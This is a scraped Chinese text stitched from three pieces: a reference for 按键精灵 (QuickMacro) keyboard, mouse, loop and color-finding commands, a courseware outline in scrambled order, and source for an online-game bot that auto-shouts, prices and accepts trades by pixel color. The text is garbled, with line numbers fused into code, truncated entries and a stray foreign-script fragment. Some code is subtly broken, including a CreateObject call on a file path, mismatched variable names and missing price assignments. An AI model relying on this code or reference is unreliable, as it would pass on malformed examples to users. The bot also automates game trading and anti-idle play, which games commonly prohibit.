复制代码1.//KeyUp、KeyUpS、KeyUpH2.//KeyUpS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyUpH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyUp 65,15.//65是A键的按键码，上面的语句表示松开A键1次6.7.KeyUp "A",18.//上面的支持按键字符，语句表示松开A键1次脚本例子：(7.x语法) 复制代码1.//KeyUp、KeyUpS、KeyUpH2.//KeyUpS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyUpH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyUp 65,15.//65是A键的按键码，上面的语句表示松开A键1次命令名称：WaitKey 等待按任意键命令功能：等待按任意键命令参数：参数1 整数型，可选：变量名返回值：无脚本例子：(8.x语法) 复制代码1.Key=WaitKey()2.//脚本运行到这一行会暂停,当用户按下键盘后继续执行,并且把用户的按键码保存在变量Key里3.If Key = 13 Then4. MessageBox "恭喜你按下了回车键"5.End If脚本例子：(7.x语法) 复制代码1.WaitKey Key2.//脚本运行到这一行会暂停,当用户按下键盘后继续执行,并且把用户的按键码保存在变量Key里3.If Key = 134. Msgbox "恭喜你按下了回车键"5.EndIf二、鼠标命令命令名称：GetCursorPos 得到鼠标位置坐标命令功能：得到当前鼠标所在的位置坐标命令参数：参数1 整数型，返回x坐标参数2 整数型，返回y坐标返回值：无脚本例子：(8.x语法) 复制代码1.GetCursorPos mx,my2.//把当前鼠标位置的x和y坐标放在变量mx和my中脚本例子：(7.x语法) 复制代码1.VBSCall GetCursorPos(mx,my)2.//把当前鼠标位置的x和y坐标放在变量mx和my中命令名称：GetCursorShape 得到鼠标形状命令功能：得到当前鼠标的形状特征命令参数：参数1 整数型，参数返回值：整数型，鼠标的形状值脚本例子：(8.x语法) 复制代码1.//参数: 0 是6.83之前的版本默认的参数2.//参数: 1 可用于一些在参数0下无法区分鼠标形状代码的情况3.//下面是我们普通的WINDOWS鼠标形状特征4.//不同电脑上鼠标形状特征也许不同，请使用"抓点抓色"功能抓取正确的鼠标形状特征5.Shape1 = 15933502876.//下面是我们访问网页超链接时候的手型鼠标形状7.Shape2 = 10559913298.shape=GetCursorShape(0)9.If shape = shape1 Then10. MessageBox "当前鼠标形状是普通的WINDOWS鼠标"11.ElseIf shape = shape2 Then12. MessageBox "当前鼠标形状是手型鼠标"13.Else14. MessageBox "不认识当前鼠标形状！"15.End If脚本例子：(7.x语法) 复制代码1.//参数: 0 是6.83之前的版本默认的参数2.//参数: 1 可用于一些在参数0下无法区分鼠标形状代码的情况3.//下面是我们普通的WINDOWS鼠标形状特征4.//不同电脑上鼠标形状特征也许不同，请使用"抓点抓色"功能抓取正确的鼠标形状特征5.Shape1 = 15933502876.//下面是我们访问网页超链接时候的手型鼠标形状7.Shape2 = 10559913298.VBSCall Shape=GetCursorShape(0)9.If shape = shape110. MessageBox 当前鼠标形状是普通的WINDOWS鼠标11.ElseIf shape = shape212. MessageBox 当前鼠标形状是手型鼠标13.Else14. MessageBox 不认识当前鼠标形状！15.EndIf命令名称：GetLastClick 检测上次按过的鼠标键命令功能：检测上一次按下的鼠标代码命令参数：参数1 整数型，可选：变量名返回值：无脚本例子：(8.x语法) 复制代码1.Mouse=GetLastClick()2.If Mouse =32770 Or Mouse =32769 Then3. Msgbox "你按下了鼠标左键"4.End If脚本例子：(7.x语法) 复制代码1.GetLastClick Mouse2.If Mouse =32770 Or Mouse =327693. Msgbox "你按下了鼠标左键"4.EndIf命令名称：LeftClick 左键单击命令功能：模拟点击鼠标左键命令参数：参数1 整数型，次数返回值：无脚本例子：(8.x语法) 复制代码1.//LeftClick、LeftClickS、LeftClickH2.//LeftClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//LeftClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.LeftClick 55.//在当前鼠标的位置单击鼠标左键5次脚本例子：(7.x语法) 复制代码1.//LeftClick、LeftClickS、LeftClickH2.//LeftClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//LeftClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.LeftClick 55.//在当前鼠标的位置单击鼠标左键5次命令名称：LeftDoubleClick 左键双击命令功能：模拟双击鼠标左键命令参数：参数1 整数型，次数返回值：无脚本例子：(8.x语法) 复制代码1.//LeftDoubleClick、LeftDoubleClickS、LeftDoubleClickH]2.//LeftDoubleClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//LeftDoubleClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.LeftDoubleClick 55.//在当前鼠标的位置双击鼠标左键5次脚本例子：(7.x语法) 复制代码1.//LeftDoubleClick、LeftDoubleClickS、LeftDoubleClickH]2.//LeftDoubleClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//LeftDoubleClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.LeftDoubleClick 55.//在当前鼠标的位置双击鼠标左键5次LockMouse 锁定鼠标位置命令功能：锁定鼠标位置，用户将不能通过移动鼠标而改变鼠标位置，而脚本仍可以改变鼠标位置命令参数：无返回值：无脚本例子：(8.x语法) 复制代码1.//在脚本开始的时候使用这个命令，可以有效防止用户误触鼠标引起脚本执行出错2.LockMouse3.Do4.Delay 10005.Loop脚本例子：(7.x语法) 复制代码1.//在脚本开始的时候使用这个命令，可以有效防止用户误触鼠标引起脚本执行出错2.LockMouse3.While True4.Delay 10005.EndWhile命令名称：MiddleClick 中键单击命令功能：模拟点击鼠标中键命令参数：参数1 整数型，次数返回值：无脚本例子：(8.x语法) 复制代码1.//MiddleClick、MiddleClickS、MiddleClickH2.//MiddleClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MiddleClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.MiddleClick 55.//在当前鼠标的位置单击鼠标中键5次脚本例子：(7.x语法) 复制代码1.//MiddleClick、MiddleClickS、MiddleClickH2.//MiddleClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MiddleClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.MiddleClick 55.//在当前鼠标的位置单击鼠标中键5次命令名称：MouseWheel 鼠标滚轮命令功能：滚动鼠标滚轮命令参数：参数1 整数型，滚动量返回值：无脚本例子：(8.x语法) 复制代码1.//如果滚动量为正,向上滚动;否则向下滚动.2.//仅支持Windows 2000以上的操作系统.3.MouseWheel 14.//把鼠标滚轮向上滚动1格脚本例子：(7.x语法) 复制代码1.//如果滚动量为正,向上滚动;否则向下滚动.2.//仅支持Windows 2000以上的操作系统.3.MouseWheel 14.//把鼠标滚轮向上滚动1格命令名称：MoveR 鼠标相对移动命令功能：鼠标相对移动到命令参数：参数1 整数型，X距离参数2 整数型，Y距离返回值：无脚本例子：(8.x语法) 复制代码1.//MoveR、MoveRS、MoveRH2.//MoveRS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MoveRH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.//当前鼠标在(100,100)点,使用下面语句5.MoveR 200,3006.//之后,鼠标就被移到了(100+200,100+300)处,也就是坐标(300,400)处7.//提示:使用硬件模拟方式不能碰键盘鼠标,否则会导致出错脚本例子：(7.x语法) 复制代码1.//MoveR、MoveRS、MoveRH2.//MoveRS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MoveRH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.//当前鼠标在(100,100)点,使用下面语句5.MoveR 200,3006.//之后,鼠标就被移到了(100+200,100+300)处,也就是坐标(300,400)处7.//提示:使用硬件模拟方式不能碰键盘鼠标,否则会导致出错命令名称：MoveTo 鼠标移动命令功能：移动鼠标到命令参数：参数1 整数型，X坐标参数2 整数型，Y坐标返回值：无脚本例子：(8.x语法) 复制代码1.//MoveTo、MoveToS、MoveToH2.//MoveToS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MoveToH: 硬件模拟方式,仅支持PS(圆口)的鼠标4.MoveTo 100,2005.//把鼠标移动到(100,200)这个点上6.intX=507.intY=1508.MoveTo intX,intY9.//把鼠标移动到(intX,intY)这个点上,需要5.50以上版本支持.脚本例子：(7.x语法) 复制代码1.//MoveTo、MoveToS、MoveToH2.//MoveToS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//MoveToH: 硬件模拟方式,仅支持PS(圆口)的鼠标4.MoveTo 100,2005.//把鼠标移动到(100,200)这个点上6.intX=507.intY=1508.MoveTo intX,intY9.//把鼠标移动到(intX,intY)这个点上,需要5.50以上版本支持.命令名称：RestoreMousePos 恢复上次保存的鼠标位置命令功能：保存当前鼠标位置命令参数：无返回值：无脚本例子：(8.x语法) 复制代码1.SaveMousePos2.//保存当前鼠标位置3.Delay 1004.MoveTo 500,205.Delay 1006.RestoreMousePos7.//将鼠标移动到上一次保存的鼠标位置8.//保存/恢复鼠标位置常用于制作网络游戏练功脚本,脚本开始时保存鼠标位置,脚本结束时恢复鼠标位置,9.//这样脚本执行后鼠标的位置就不会变化脚本例子：(7.x语法) 复制代码1.SaveMousePos2.//保存当前鼠标位置3.Delay 1004.MoveTo 500,205.Delay 1006.RestoreMousePos7.//将鼠标移动到上一次保存的鼠标位置8.//保存/恢复鼠标位置常用于制作网络游戏练功脚本,脚本开始时保存鼠标位置,脚本结束时恢复鼠标位置,9.这样脚本执行后鼠标的位置就不会变化命令名称：RightClick 右键单击命令功能：模拟点击鼠标右键命令参数：参数1 整数型，次数返回值：无脚本例子：(8.x语法) 复制代码1.//RightClick、RightClickS、RightClickH2.//RightClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//RightClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.RightClick 55.//在当前鼠标的位置单击鼠标右键5次脚本例子：(7.x语法) 复制代码1.//RightClick、RightClickS、RightClickH2.//RightClickS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的鼠标都可以使用3.//RightClickH: 硬件模拟方式,仅支持PS(圆口)的鼠标点击查看使用硬件模拟方式的注意事项4.RightClick 55.//在当前鼠标的位置单击鼠标右键5次SaveMousePos 保存当前鼠标所在位置命令参数：无返回值：无脚本例子：(8.x语法) 复制代码1.SaveMousePos2.//保存当前鼠标位置3.Delay 1004.MoveTo 500,205.Delay 1006.RestoreMousePos7.//将鼠标移动到上一次保存的鼠标位置8.//保存/恢复鼠标位置常用于制作网络游戏练功脚本,脚本开始时保存鼠标位置,脚本结束时恢复鼠标位置,9.//这样脚本执行后鼠标的位置就不会变化脚本例子：(7.x语法) 复制代码1.SaveMousePos2.//保存当前鼠标位置3.Delay 1004.MoveTo 500,205.Delay 1006.RestoreMousePos7.//将鼠标移动到上一次保存的鼠标位置8.//保存/恢复鼠标位置常用于制作网络游戏练功脚本,脚本开始时保存鼠标位置,脚本结束时恢复鼠标位置,9.这样脚本执行后鼠标的位置就不会变化命令名称：UnlockMouse 解除锁定鼠标位置命令功能：解除LockMouse命令对鼠标位置的锁定命令参数：无返回值：无脚本例子：(8.x语法) 复制代码1.脚本例子：(7.x语法) 复制代码1.//如果用户使用了LockMouse命令而没有使用UnlockMouse命令，按键精灵会在脚本结束时自动解除锁定2.UnlockMouse命令功能：脚本执行到这一句暂停,按下任意鼠标键之后继续命令参数：参数1 整数型，可选：变量名返回值：无脚本例子：(8.x语法) 复制代码st_click=WaitClick()2.MessageBox "您按下了" & last_click脚本例子：(7.x语法) 复制代码1.WaitClick last_click2.MessageBox "您按下了" & last_click三、控制命令命令名称：Call 调用过程命令功能：调用过程命令参数：参数1 字符串型，过程名返回值：无脚本例子：(8.x语法) 复制代码1.Call子程序("我是子程序,被你调用了")2.EndScript3.//支持中文名变量4.Sub子程序(啊)5. Msgbox 啊6.End Sub7.//定义一个过程,可以在脚本中调用这个过程脚本例子：(7.x语法)复制代码命令名称：Do 循环命令功能：条件循环命令参数：参数1 条件型，循环条件返回值：无3.i=04.Do While i=05. Msgbox "我停不下来啦!!快住手"6.Loop7.//当循环条件成立的时候，反复执行循环体8.9.10.例子2：11.i=012.Do Until i=013. Msgbox "为什么没有循环到我呢？"14.Loop15.Msgbox "循环结束"16.//当循环条件成立的时候，离开循环体17.18.19.例子3：20.i=021.Do Until i=122. Msgbox "我停不下来啦!!快住手"23.Loop24.//当循环条件不成立的时候，反复执行循环体25.26.27.例子4：28.n=029.Do While true30. Msgbox "我将循环10次停下来!!"31.If n>=10 Then32. //当循环条件成立的时候，离开循环体33.Exit do34.End if35. n=n+136.Loop37.Msgbox n & "次"38.39.40.例子5：41.i = 042.Do43. MessageBox "ok"44.Loop While i <> 045.//条件放后面，前面的循环内容可以执行一次！脚本例子：复制代码命令名称：For 循环命令功能：循环一定次数命令参数：参数1 整数型，循环次数返回值：无脚本例子：(8.x语法) 复制代码1.例子1：2.//支持Exit For 命令退出循环3.For i=0 To 94.Delay 1005.Next6.//循环10次7.8.例子2：9.//支持Exit For 命令退出循环10.For 1011.Delay 10012.Next13.//循环10次14.15.16.例子3：17.//支持Exit For 命令退出循环18.For i=0 to 19 step 219.Delay 10020.Next21.//循环10次22.23.例子4：24.//支持Exit For 命令退出循环25.For i=0 to 19 step 226.Delay 10027.If i>9 Then28.Exit For29.End If30.Next31.//循环5次脚本例子：(7.x语法) 复制代码1.For 102.Delay 1003.EndFor4.//循环10次命令名称：Function 函数命令功能：函数命令参数：多类型，多参数返回值：多类型脚本例子：(8.x语法) 复制代码1.//支持Exit Function 命令退出函数过程2.Msgbox 函数过程("我是函数,被你调用了")3.EndScript4.Function函数过程(a)5.函数过程=a6.End Function7.//定义一个函数过程,可以在脚本中调用这个函数脚本例子：(7.x语法) 复制代码1.无命令名称：Gosub 调用子程序命令功能：调用过程命令参数：参数1 字符串型，过程名返回值：无脚本例子：(8.x语法) 复制代码1.//可带参数传递2.Call子程序("我是子程序,被你调用了")3.EndScript4.Sub子程序(a)5. Msgbox a6.End Sub7.//定义一个过程,可以在脚本中调用这个过程脚本例子：(7.x语法) 复制代码1.Gosub子程序2.EndScript3.Sub子程序4. Msgbox "我是子程序,被你调用了"5.Return子程序6.//定义一个过程,可以在脚本中调用这个过程命令功能：跳转到Rem标记处命令参数：参数1 字符串型，标号返回值：无脚本例子：(8.x语法) 复制代码1.Goto标记2.Delay 1003.Rem标记4.Msgbox "你直接跳到这里了!!,上面的延迟没有被执行!!"5.//跳转语句，可以跳转到rem标记过的标记处继续执行脚本例子：(7.x语法) 复制代码1.Goto标记2.Delay 1003.Rem标记4.Msgbox "你直接跳到这里了!!,上面的延迟没有被执行!!"5.//跳转语句，可以跳转到rem标记过的标记处继续执行命令名称：If 如果..则命令功能：判断表达式命令参数：参数1 条件型，表达式返回值：无脚本例子：(8.x语法) 复制代码1.例子1：2.i=03.If i=0 Then4. Msgbox "条件判断符合被通过!!"5.End If6.//通过判断表达式的取值，来执行后面的动作或控制7.8.例子2：9.i=110.If i=0 Then11. Msgbox "条件判断符合被通过!!"12.ElseIf i=1 Then13. Msgbox "否则条件判断符合被通过!!"14.Else15. Msgbox "否则!!"16.End If脚本例子：(7.x语法) 复制代码1.i=02.If i=03. Msgbox "条件判断符合被通过!!"4.EndIf5.//通过判断表达式的取值，来执行后面的动作或控命令名称：IfColor 颜色判断命令功能：判断屏幕某点的颜色命令参数：参数1 整数型，屏幕X坐标参数2 整数型，屏幕Y坐标参数3 字符串型，颜色16进制值参数4 整数型，判断条件返回值：无脚本例子：(8.x语法) 复制代码1.例子1：2.//判断条件(0:等于 1:不等于 2:近似等于)3.IfColor 860,27,"e1b072",0 Then4. Msgbox "颜色等于"5.Else6. Msgbox "颜色不等于"7.End If8.//判断坐标点(860,27)的颜色是否等于e1b0729.10.11.例子2：12.a=1:b=113.IfColor 650,118,"78F0E8",2 Then14. MessageBox "a"15.ElseIf b=a Then16. MessageBox "b"17.End if脚本例子：(7.x语法) 复制代码1.//判断条件(0:等于 1:不等于 2:近似等于)2.IfColor 860,27,e1b072,03. Msgbox "颜色等于"4.Else5. Msgbox "颜色不等于"6.EndIf命令名称：Rem 标记/注释命令功能：标记命令可当注释命令参数：参数1 字符串型，文字返回值：无脚本例子：(8.x语法) 复制代码1.//不支持数字开头的和符号作为标记名2.//标记命令.即可当注释,也可以为Goto跳转指令作标记3.Rem脚本开始脚本例子：(7.x语法) 复制代码1.//标记命令.即可当注释,也可以为Goto跳转指令作标记2.Rem脚本开始命令名称：RestartScript 重新启动脚本运行命令功能：重新启动脚本运行命令参数：无返回值：无脚本例子：(8.x语法) 复制代码1.For i=0 to 22.Delay 10003.Call Plugin.Msg.ShowScrTXT(0, 0, 1024, 768, "屏幕内容填写" & i, "0000FF")4.Next5.RestartScript //重新启动脚本运行脚本例子：(7.x语法) 复制代码1.无命令名称：Select 情况条件选择命令功能：根据情况选择条件判断命令参数：参数1 条件型，情况返回值：无脚本例子：复制代码3.//<>---------------------------------------------以下是选择条件结结构判断4.Select Case变量5.Case 06. Msgbox "你输入的数字为：0"7.Case 18. Msgbox "你输入的数字为：1"9.Case 210. Msgbox "你输入的数字为：2"11.Case 312. Msgbox "你输入的数字为：3"13.Case 414. Msgbox "你输入的数字为：4"15.Case 516. Msgbox "你输入的数字为：5"17.Case 618. Msgbox "你输入的数字为：6"19.Case 720. Msgbox "你输入的数字为：7"21.Case 822. Msgbox "你输入的数字为：8"23.Case 924. Msgbox "你输入的数字为：9"25.Case Else26. Msgbox "你输入的数字不正确，请输入（0~9）数字！"27.End Select脚本例子：(7.x语法) 复制代码1.无命令名称：Sub 子程序命令功能：定义一个过程命令参数：参数1 字符串型，过程名返回值：无脚本例子：(8.x语法) 复制代码1.//支持Exit Sub 命令退出子程序过程2.Call子程序()3.EndScript4.Sub子程序()5. Msgbox "我是子程序,被你调用了"6.End Sub7.//定义一个过程,可以在脚本中调用这个过程脚本例子：(7.x 语法) 复制代码 1. Gosub 子程序2. EndScript3. Sub 子程序4. Msgbox "我是子程序,被你调用了"5. Return 子程序6. //定义一个过程,可以在脚本中调用这个过程命令名称：While 如果..则循环命令功能：条件循环命令参数：参数1 条件型，循环条件返回值：无脚本例子：(8.x 语法) 复制代码 1. i=02. Whilei=0 3. Msgbox "我停不下来啦!!快住手"4. Wend5. //当循环条件成立的时候，反复执行循环体脚本例子：(7.x 语法) 复制代码 1. i=02. While i=03. Msgbox "我停不下来啦!!快住手"4. EndWhile5. //当循环条件成立的时候，反复执行循环体四、颜色/图像命令参数6 整数型，返回x 坐标参数7 整数型，返回y 坐标返回值：无脚本例子：(8.x 语法) 复制代码 1. //FindCenterColor left,top,right,bottom,c,x,y2. //在区域内从中心到外围找颜色为c 的点，把坐标保存在变量x 和y 中3. //left,top,right,bottom 都是整数或者整数型变量，说明了区域的左，上，右，下界限4. //颜色是类似于"0000FF"的字符串，如果不取变量，别忘了加双引号5. //如果没有找到这个颜色，则x 和y 的值都被置为-16. FindCenterColor 0,0,800,600,"0000FF",x,y7. Ifx>0 and y>0 Then8. MoveTo x,y9. End If10. //在区域(0,0,800,600)中找红色（"0000FF"）的点，如果找到，则把鼠标移动到这个点脚本例子：(7.x 语法) 复制代码 1. //VBSCall FindCenterColor(left,top,right,bottom,c,x,y)2. //在区域内从中心到外围找颜色为c 的点，把坐标保存在变量x 和y 中3. //left,top,right,bottom 都是整数或者整数型变量，说明了区域的左，上，右，下界限4. //颜色是类似于"0000FF"的字符串，如果不取变量，别忘了加双引号5. //如果没有找到这个颜色，则x 和y 的值都被置为-16. VBSCall FindCenterColor(0,0,800,600,"0000FF",x,y)7. If x>0 and y>08. MoveTo x,y9. EndIf10. //在区域(0,0,800,600)中找红色（"0000FF"）的点，如果找到，则把鼠标移动到这个点(8.x语法) 1.//FindColor left,top,right,bottom,c,x,y2.//在区域内从左到右，从上到下找颜色为c的点，把坐标保存在变量x和y中3.//left,top,right,bottom都是整数或者整数型变量，说明了区域的左，上，右，下界限4.//颜色是类似于"0000FF"的字符串，如果不取变量，别忘了加双引号5.//如果没有找到这个颜色，则x和y的值都被置为-16.FindColor 0,0,800,600,"0000FF",x,y7.If x>0 and y>0 Then8. MoveTo x,y9.End If10.//在区域(0,0,800,600)中找红色（"0000FF"）的点，如果找到，则把鼠标移动到这个点脚本例子：(7.x语法) 复制代码1.//VBSCall FindColor(left,top,right,bottom,c,x,y)2.//在区域内从左到右，从上到下找颜色为c的点，把坐标保存在变量x和y中3.//left,top,right,bottom都是整数或者整数型变量，说明了区域的左，上，右，下界限4.//颜色是类似于"0000FF"的字符串，如果不取变量，别忘了加双引号5.//如果没有找到这个颜色，则x和y的值都被置为-16.VBSCall FindColor(0,0,800,600,"0000FF",x,y)7.If x>0 and y>08. MoveTo x,y9.EndIf10.//在区域(0,0,800,600)中找红色（"0000FF"）的点，如果找到，则把鼠标移动到这个点命令名称：FindColorEx 模糊找色命令功能：在屏幕区域模糊查找指定的颜色命令参数：参数1 整数型，屏幕左上角x坐标参数2 整数型，屏幕左上角y坐标参数3 整数型，屏幕右下角x坐标参数4 整数型，屏幕右下角y坐标参数5 字符串型，16进制颜色值参数6 整数型，查找方式参数7 整数型，相似度参数8 整数型，返回x坐标参数9 整数型，返回y坐标返回值：无脚本例子：(8.x语法) 复制代码1.//FindColorEx left,top,right,bottom,c,type,similar,x,y2.//在区域内找颜色为c的点，把坐标保存在变量x和y中3.//left,top,right,bottom都是整数或者整数型变量，说明了区域的左，上，右，下界限4.//颜色是类似于"0000FF"的字符串，如果不取变量，别忘了加双引号5.//type表示查找方式。

按键精灵脚本制作教程课件

自动战斗
编写脚本使角色自动进行战斗，释放技能，极大提高游戏效率。
自动任务
一键完成重复性任务，节省时间，提高游戏体验。
办公自动化脚本制作
批量处理文件
通过按键精灵脚本，实现批量重命名、移动、删除等操作，提高办公效率。
数据录入自动化
将数据自动填入表格中，减少人工操作，避免出错。
自动化办公流程
通过脚本实现一系列办பைடு நூலகம்流程自动化，如自动发送邮件、自动打印等。
包含文件、编辑、查看、窗口、帮助等菜单项。
脚本编辑器
用于编写和编辑脚本的地方，支持代码高亮和自动补全等功能。
主界面
包括菜单栏、工具栏、脚本编辑器、脚本管理器等。
工具栏
提供常用功能按钮，如录制、运行、停止等。
脚本管理器
用于管理已创建的脚本，包括新建、打开、保存、删除等操作。
CHAPTER 02
CHAPTER 03
按键精灵脚本制作进阶
高级功能应用
01
02
03
图像识别
利用图像识别技术，实现自动化操作中的目标识别与定位。
语音识别与合成
通过语音识别技术，实现语音控制和语音反馈，提高用户体验。
自动化测试
利用按键精灵脚本进行软件自动化测试，提高测试效率和准确性。
多线程与异步编程
多线程技术
按键精灵脚本制作教程课件
目录
• 按键精灵简介 • 按键精灵脚本制作基础 • 按键精灵脚本制作进阶 • 按键精灵脚本制作实战案例
CHAPTER 01
按键精灵简介
软件背景
01
按键精灵是一款模拟鼠标键盘操作的软件，可以用于自动化脚本的制作。

按键精灵自动喊话收发货源码

按键精灵自动喊话收发货源码UserVar k=DropList{单开:1|双开:2|三开:3|四开:4|五开:5}=0 设置内容Delay 100set fso=CreateObject("D:\10.txt")Plugin time6=Sys.GetTime()Plugin time1=Sys.GetTime()UserVar number2="2200" 灾难价钱UserVar number3="3200" 灵魂价钱UserVar number6="2000" 王之石像UserVar number7="4000" 泰拉石UserVar number11="50" 无色小晶体UserVar number14="10000" 诺顿达人MP药剂UserVar number15="10000" 诺顿达人HP药剂UserVar number17="10000" 大块肉干UserVar number18="10000" 波罗丁UserVar number19="10000" 红色小晶体UserVar number20="10000" 白色小晶体UserVar number21="10000" 混沌魔石碎片UserVar number22="10" 红色大晶体UserVar number29="10000" 突变草莓UserVar number23="10000" 突变苎麻花叶UserVar number24="10000" 杀错的眼晴UserVar number26="10000" 上级元素结晶UserVar number16="10000" 狂乱的恶魔挑战书UserVar number27="10000" 蓝冰恶魔挑战书UserVar number28="10000" 强韧恶魔挑战书UserVar number35="10000" 威严恶魔挑战书UserVar number30="10000" 黑色小晶体UserVar number31="10000" 蓝色小晶体UserVar number32="10000" 红色服务器红色大喇叭UserVar number33="10000" 蓝色服务器红色小喇叭UserVar number36="10000" 暗黑城干酪UserVar number37="10000" 专家HPUserVar number38="10000" 专家MPUserVar number39="10000" 熟练HPUserVar number40="10000" 熟练MPUserVar number41="10000" 黑色龙舌兰酒UserVarhk=DropList{200 :200|300 :300|500 :500|600 :600|100 :100毫秒}=0 自动任务`快200中600`慢800`UserVarjo=DropList{300000 :300000|600000 :600000|80000 :80000}=0 防掉线自动任务6=10分钟12=20分钟中18=30分钟kx = 90 : ky = 183dim d,k,fs(4)d=0Rem qGosub 检查红Goto qEndScriptSub 检查红h=0//清空变量While h=<k-1//是否大于设置的多开数（下同）Delay 10//最大化Gosub 查找移动窗口MoveTo 611,445Delay 100LeftClick 2Delay 100Gosub 交易了吗Gosub 喊话1Delay 1500Gosub 交易了吗Gosub 喊话4Delay 1500Gosub 交易了吗Gosub 喊话5Delay 1500Rem EndPlugin time2=Sys.GetTime()Plugin time6=Sys.GetTime()time3=time2-time1time4=time6-time5If time4>=joPlugin time5=Sys.GetTime()Gosub 防掉线EndIfIf time3>=900000MessageBox "如有问题,请找作者`谢谢使用QQ1175390911" Goto hhDelay 400EndIf//最小化Delay 200h=h+1//变量递增EndWhileReturnRem hhEndScriptSub 交易了吗IfColor 524,408,8dc5dd,0 IfColor 581,402,8dc5dd,0 MoveTo 517,400Delay 50LeftClick 1Delay 1000Gosub 交易开始EndIfEndIfReturn 交易了吗Sub 防掉线b=1For 2IfColor 286,454,88ccff,0 MoveTo 288,457Delay 50LeftClick 1Delay hkIfColor 275,421,1313e5,0 MoveTo 321,346Delay 50LeftClick 1Delay hkIfColor 105,224,66eeff,0 MoveTo 184,222Delay 50LeftClick 4Delay 600IfColor 430,398,8dc5dd,0 MoveTo 414,403Delay 50LeftClick 1Delay hkMoveTo 345,406Delay 50LeftClick 1Delay hkKeyPress 27,1Delay hkEndIfIfColor 373,147,66eeff,0 KeyPress 27,1Delay 500MoveTo 413,400Delay 50LeftClick 1Delay 600IfColor 357,177,66eeff,0 MoveTo 437,183Delay 50LeftClick 4Delay hkMoveTo 172,400 Delay 50LeftClick 1Delay hkMoveTo 97,407 Delay 50LeftClick 1Delay hkEndIfEndIfEndIfEndIfEndIfDelay 100MoveTo 606,443 Delay 50LeftClick 2Delay 200b=b+1EndForReturn 自动任务Sub 交易开始p=0Rem 交易开始IfColor 169,118,ffffff,0 Delay 1000Gosub 喊话2Delay 2500Rem 等待交易IfColor 169,118,ffffff,0Gosub 第一格Gosub 输钱result10 = resultGosub 喊话3Delay 2000p=p+1Delay 10IfColor 163,269,44eeff,1If p>=12KeyPress 27,1Delay 500Goto EndEndIfGosub 喊话2Goto 等待交易ElseGosub 第一格If result = result10IfColor 169,118,ffffff,0MoveTo 163,424Delay 50LeftClick 1Delay 500LeftClick 1Delay 500Plugin File.WriteFileEx("D:\10.txt", result) ElseGoto 交易开始EndIfEndIfGoto 交易开始EndIfEndIfEndIfReturn 交易开始Sub 第一格kx = 90 : ky = 183result = ""v=0For 8//灾难number1 =""result1 =""VBSCall color=GetPixelColor(kx,ky) If Color = "4AB542"Gosub 读数子1number1=groupresult1 = number1*number2//灵魂价钱ElseIf Color = "080000"Gosub 读数子1number1=groupresult1 = number1*number3//王之石像ElseIf Color = "083942"Gosub 读数子1number1=group//蓝冰恶魔挑战书ElseIf Color = "AD9C4A" Gosub 读数子1number1=groupresult1 = number1*number27 //无色小晶体ElseIf Color = "6B6B6B" Gosub 读数子1number1=groupresult1 = number1*number11 //诺顿达人MP药剂ElseIf Color = " A87F4F" Gosub 读数子1number1=groupresult1 = number1*number14 //诺顿达人HP药剂ElseIf Color = "5556A4" Gosub 读数子1number1=groupresult1 = number1*number15 //泰拉石ElseIf Color = "5A5239" Gosub 读数子1number1=groupresult1 = number1*number7 //狂乱的恶魔挑战书ElseIf Color = "31AD94" Gosub 读数子1number1=group//大块肉干ElseIf Color = "100863" Gosub 读数子1number1=groupresult1 = number1*number17 //强认恶魔挑战书ElseIf Color = "ADEFFF" Gosub 读数子1number1=groupresult1 = number1*number28 //波罗丁ElseIf Color = "000000" Gosub 读数子1number1=groupresult1 = number1*number18 //红色小晶体ElseIf Color = "080829" Gosub 读数子1number1=groupresult1 = number1 * number19 //白色小晶体ElseIf Color = "949494" Gosub 读数子1number1=groupresult1 = number1*number20 //混沌魔石碎片ElseIf Color = "525229" Gosub 读数子1number1=groupresult1 = number1*number21//红色大晶体ElseIf Color = "0000B5" Gosub 读数子1number1=groupresult1 = number1*number22 //突变苎麻花叶ElseIf Color = "102139" Gosub 读数子1number1=groupresult1 = number1*number23 //突变草莓ElseIf Color = "1800DE" Gosub 